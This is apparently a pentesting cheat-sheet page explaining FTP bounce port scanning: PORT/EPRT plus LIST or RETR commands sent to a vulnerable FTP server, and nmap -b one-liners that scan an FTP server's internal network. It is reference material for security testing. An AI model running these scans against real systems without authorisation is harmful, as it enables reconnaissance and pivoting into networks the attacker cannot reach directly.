Manual
-
Connect to vulnerable FTP
-
Use **
PORT
**orEPRT
(but only 1 of them) to make it establish a connection with the <IP:Port> you want to scan:PORT 172,32,80,80,0,8080
EPRT |2|172.32.80.80|8080|
-
Use
LIST
(this will just send to the connected <IP:Port> the list of current files in the FTP folder) and check for the possible responses:150 File status okay
(This means the port is open) or425 No connection established
(This means the port is closed)- Instead of
LIST
you could also useRETR /file/in/ftp
and look for similarOpen/Close
responses.
- Instead of
Example Using PORT (port 8080 of 172.32.80.80 is open and port 7777 is closed):
Same example using EPRT
(authentication omitted in the image):
Open port using EPRT
instead of LIST
(different env)
nmap
nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
